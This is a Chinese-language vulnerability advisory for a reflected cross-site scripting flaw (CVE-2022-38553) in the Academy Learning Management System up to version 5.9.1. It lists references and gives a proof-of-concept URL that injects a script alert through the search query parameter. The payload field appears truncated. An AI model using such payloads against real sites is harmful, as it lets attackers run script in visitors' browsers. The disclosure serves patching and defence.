关于"ACADEMY LEARNING MANAGEMENT SYSTEM" < v5.9.1 的跨站脚本攻击（XSS）—— CVE-2022-38553 的概念验证（POC）
漏洞利用标题：ACADEMY LEARNING MANAGEMENT SYSTEM < v5.9.1 - 跨站脚本攻击（XSS）
CVE ID：CVE-2022-38553
漏洞利用作者：4websecurity
作者网页：https://4websecurity.com
日期：16-08-2022
厂商主页：https://creativeitem.com
版本：up to 5.9.1
厂商演示页面：https://demo.creativeitem.com/academy/home/
参考：
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38553
https://www.openbugbounty.org/reports/2849933/
https://cve.report/CVE-2022-38553
https://nvd.nist.gov/vuln/detail/CVE-2022-38553
https://youtu.be/yFiZffHoeKs
漏洞字段：
ACADEMY LEARNING MANAGEMENT SYSTEM <5.9.1 中的跨站脚本（XSS）漏洞允许远程攻击者通过 search?query 参数注入任意 Web 脚本或 HTML。
概念验证（POC）：
https://example.com/search?query=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
载荷：
">
POC 视频：
安全风险：
此安全漏洞允许攻击者在用户访问其准备好的URL时，在用户浏览器中执行任意JavaScript代码。
